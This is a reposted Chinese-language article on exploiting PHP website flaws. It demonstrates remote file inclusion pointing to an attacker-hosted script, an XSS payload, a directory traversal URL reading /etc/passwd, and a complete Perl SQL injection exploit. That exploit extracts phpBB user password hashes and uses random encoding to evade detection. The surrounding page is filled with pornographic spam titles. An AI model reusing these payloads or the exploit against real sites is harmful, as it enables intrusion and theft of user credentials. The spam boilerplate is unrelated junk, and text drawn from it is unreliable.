亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > PHP > 正文

PHP網站漏洞的相關總結(1)

2020-03-22 18:00:43
字體:
來源:轉載
供稿:網友

PHP網站漏洞的相關總結

從現在的html' target='_blank'>網絡安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權。然而在PHP方面來看,也同樣存在很嚴重的安全問題,但是這方面的文章卻不多。在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧。

我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種:包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種。當然,至于COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多。那么,我們就一個一個來分析一下怎樣利用這些漏洞吧!

首先,我們來討論包含文件漏洞。這個漏洞應該說是PHP獨有的吧。這是由于不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令。我們來看一個例子:假設在a.php中有這樣一句代碼:

<?php

include($include."/xxx.php");

?>

在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的。比方說我們提交:a.php?include=http://web/b.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了。我們可以在b.php中寫入類似于:passthru("/bin/ls /etc");的代碼。這樣,就可以執行一些有目的的攻擊了。(注:web服務器應該不能執行php代碼,不然就出問題了。相關詳情可以去看《如何對PHP程序中的常見漏洞進行攻擊》)。在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front,

HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。

接著,我們再來看一下腳本命令執行漏洞。這是由于對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的:

http://web/index.php?PHPSESSID="><script>…</script>在script里面我們可以構造函數來獲得用戶的一些敏感信息。在這個漏洞方面相對要少一點,除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。

再然后,我們就來看看文件泄露漏洞了。這種漏洞是由于對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發現的phpMyAdmin來做例子。在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊者提交包含多個'/'字符的數據,便可繞過WEB ROOT限制,以WEB權限查看系統上的任意文件信息。比方說打入這樣一個地址:export.php?what=//////etc/passwd%00 就可以達到文件泄露的目的了。在這方面相對多一點,有:myPHPNuke,McNews等等。

最后,我們又要回到最興奮的地方了。想想我們平時在asp頁面中用SQL注入有多么爽,以前還要手動注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再開做出NBSI以后,我們NB聯盟真是拉出一片天空。曾先后幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞。(這些廢話不多說了,有點跑題了…)。還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了。將asc改成ASCII,len改成LENGTH,其他函數基本不變了。其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢?不錯,俗話說樹大招分,像動網這樣的論壇在asp界就該是漏洞這王了,這并不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了。PHPBB也是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧。這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以后的PHPBB會越來越好。

好了,我們還是來分析一下漏洞產生的原因吧。拿viewtopic.php頁面來說,由于在調用viewtopic.php時,直接從GET請求中獲得"topic_id"并傳遞給SQL查詢命令,而并沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字符串用于獲得MD5密碼,獲得此密碼信息可以用于自動登錄或者進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因)。先看一下相關源代碼:

# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )

# {

# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);

# }

# else if ( isset($HTTP_GET_VARS['topic']) )

# {

# $topic_id = intval($HTTP_GET_VARS['topic']);

# }

從上面我們可以看出,如果提交的view=newest并且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議你看了再對著這里來看,受影響系統為:phpBB 2.0.5和phpBB 2.0.4)。

# $sql = "SELECT p.post_id

# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u

# WHERE s.session_id = '$session_id'

# AND u.user_id = s.session_user_id

# AND p.topic_id = $topic_id

# AND p.post_time >= u.user_lastvisit

# ORDER BY p.post_time ASC

# LIMIT 1";

Rick提供了下面的這斷測試代碼:

use IO::Socket;

$remote = shift || 'localhost';

$view_topic = shift || '/phpBB2/viewtopic.php';

$uid = shift || 2;

$port = 80;

$dbtype = 'mysql4'; # mysql4 or pgsql

print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype ";

$p = "";

for($index=1; $index<=32; $index++)

{

$socket = IO::Socket::INET->new(PeerAddr => $remote,

PeerPort => $port,

Proto => "tcp",

Type => SOCK_STREAM)

or die "Couldnt connect to $remote:$port : $@ ";

$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";

print $socket $str;

print $socket "Cookie: phpBB2mysql_sid=1 "; # replace this for pgsql or remove it

print $socket "Host: $remote ";

while ($answer = <$socket>)

{

if ($answer =—— /location:.*#(d+)/) # Matches the location: viewtopic.php?p=<num>#<num>

{

$p .= chr ();

}

}

close($socket);

}

print " MD5 Hash for uid $uid is $p ";

# random encode str. helps avoid detection

sub random_encode

{

$str = shift;

$ret = "";

for($i=0; $i<length($str); $i++)

{

$c = substr($str,$i,1);

$j = rand length($str) * 1000;

if (int($j) % 2 || $c eq ' ')

{

$ret .= "%" . sprintf("%x",ord($c));

}

else

{

$ret .= $c;

}

}

return $ret;

}

sub make_dbsql

{

if ($dbtype eq 'mysql4')

{

return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;

} elsif ($dbtype eq 'pgsql')

{

return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";

}

else

{

return "";

}

}

這斷代碼,我就不多做解釋了。作用是獲得HASH值。

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
久久91亚洲精品中文字幕奶水| 69av视频在线播放| 日韩免费视频在线观看| 91探花福利精品国产自产在线| 亚洲欧美成人一区二区在线电影| 欧美中在线观看| 国产精品网站入口| 日本一区二三区好的精华液| 欧美激情aaaa| 日韩国产欧美精品在线| 国内精品伊人久久| 欧美精品xxx| 欲色天天网综合久久| 国产99视频在线观看| 久久艹在线视频| 久久精品精品电影网| 亚洲欧美在线一区| 国产精品盗摄久久久| 亚洲999一在线观看www| 欧美成人网在线| 91视频九色网站| 亚洲第一色中文字幕| 日本亚洲欧洲色| 亚洲国产精品系列| 欧美伊久线香蕉线新在线| 欧美激情奇米色| 精品日本高清在线播放| 国产精品久久久久久av福利| 欧美精品videosex性欧美| xxxxx91麻豆| 黄色精品在线看| 国产精品久久一区| 国产成人+综合亚洲+天堂| 亚洲国产又黄又爽女人高潮的| 亚洲午夜精品视频| 亚洲人午夜精品免费| 操日韩av在线电影| 国产ts一区二区| 日本久久久久久久| 91免费人成网站在线观看18| 欧美专区第一页| 91av在线国产| 国产精品久久久久影院日本| 日韩免费在线观看视频| 亚洲国产古装精品网站| 国产成人欧美在线观看| 亚洲风情亚aⅴ在线发布| 国产精品一区二区三| 亚洲国产精品va在线看黑人动漫| 国产精品久久久久一区二区| 欧美一级高清免费播放| 欧美性猛交视频| 久久久www成人免费精品张筱雨| 亚洲欧美国产一本综合首页| 国产亚洲xxx| 久久久久久久av| 91丝袜美腿美女视频网站| 欧美精品九九久久| 色综合色综合网色综合| 日韩av高清不卡| 亚洲国产精品久久精品怡红院| 成人免费视频97| 久久精品中文字幕免费mv| 亚洲二区中文字幕| 久久精品小视频| 91久久久久久久久| 96pao国产成视频永久免费| 欧美日韩免费一区| 亚洲最新中文字幕| 91麻豆国产语对白在线观看| 久久91超碰青草是什么| 日韩av在线看| 欧美激情手机在线视频| 亚洲深夜福利网站| 久久人人爽人人爽爽久久| 欧美国产日韩一区| 成人欧美一区二区三区在线| 伊人久久久久久久久久| xvideos亚洲人网站| 亚洲精品自在久久| 爽爽爽爽爽爽爽成人免费观看| 亚洲国产高潮在线观看| 国产精品网址在线| 欧美在线一级视频| 97色在线播放视频| 亚洲视频在线免费观看| 啊v视频在线一区二区三区| 亚洲sss综合天堂久久| 亚洲国产另类 国产精品国产免费| 亚洲香蕉伊综合在人在线视看| 日韩精品极品视频免费观看| 亚洲成人精品久久久| 亚洲人成亚洲人成在线观看| 亚洲成人激情小说| 国产精品三级美女白浆呻吟| 国产精品亚洲视频在线观看| 国产精品香蕉国产| 欧美电影免费观看| 欧美xxxx做受欧美| 日韩毛片在线观看| 精品久久久久久中文字幕| 久久久999成人| 国产精品福利在线观看| 日本a级片电影一区二区| 欧美日韩国产麻豆| 在线观看国产成人av片| 精品久久久精品| 国产一区二区在线免费| 欧美激情一级欧美精品| 国产精品久久久久免费a∨大胸| 国内外成人免费激情在线视频网站| 亚洲欧美一区二区三区情侣bbw| 欧美丰满老妇厨房牲生活| 亚洲激情国产精品| 欧洲成人免费视频| 欧美视频不卡中文| 国产一区二区丝袜高跟鞋图片| 欧美特黄级在线| 69视频在线播放| 国产欧美最新羞羞视频在线观看| 日韩在线观看免费全集电视剧网站| 亚洲美女性视频| 久久精品视频中文字幕| 清纯唯美亚洲激情| 欧美激情亚洲视频| 亚洲午夜av电影| 2021国产精品视频| 国产69精品久久久久9999| 亚洲视频欧洲视频| 91网站免费看| 91a在线视频| 欧美在线视频一二三| 欧美成aaa人片在线观看蜜臀| 国产精品一二区| xxxxxxxxx欧美| 久久久久久久久爱| 国产精品视频精品| 国产日韩欧美夫妻视频在线观看| 国产精品一区二区在线| 亚洲已满18点击进入在线看片| 136fldh精品导航福利| 中文字幕欧美亚洲| 国产精品久久在线观看| 久久久久久久久久久亚洲| 在线丨暗呦小u女国产精品| 欧美激情亚洲激情| 欧美专区日韩视频| 亚洲小视频在线| 欧美电影在线免费观看网站| 日韩精品免费综合视频在线播放| 另类美女黄大片| 久久久精品电影| 欧美一级淫片播放口| 久久免费精品日本久久中文字幕| 欧美激情按摩在线| 91伊人影院在线播放| 久久久精品国产| 国产精品www色诱视频| 成人网在线免费观看| 中文欧美日本在线资源| 欧美裸体xxxx极品少妇| 国内精品久久久久久中文字幕| 日韩精品极品视频| 欧美在线精品免播放器视频|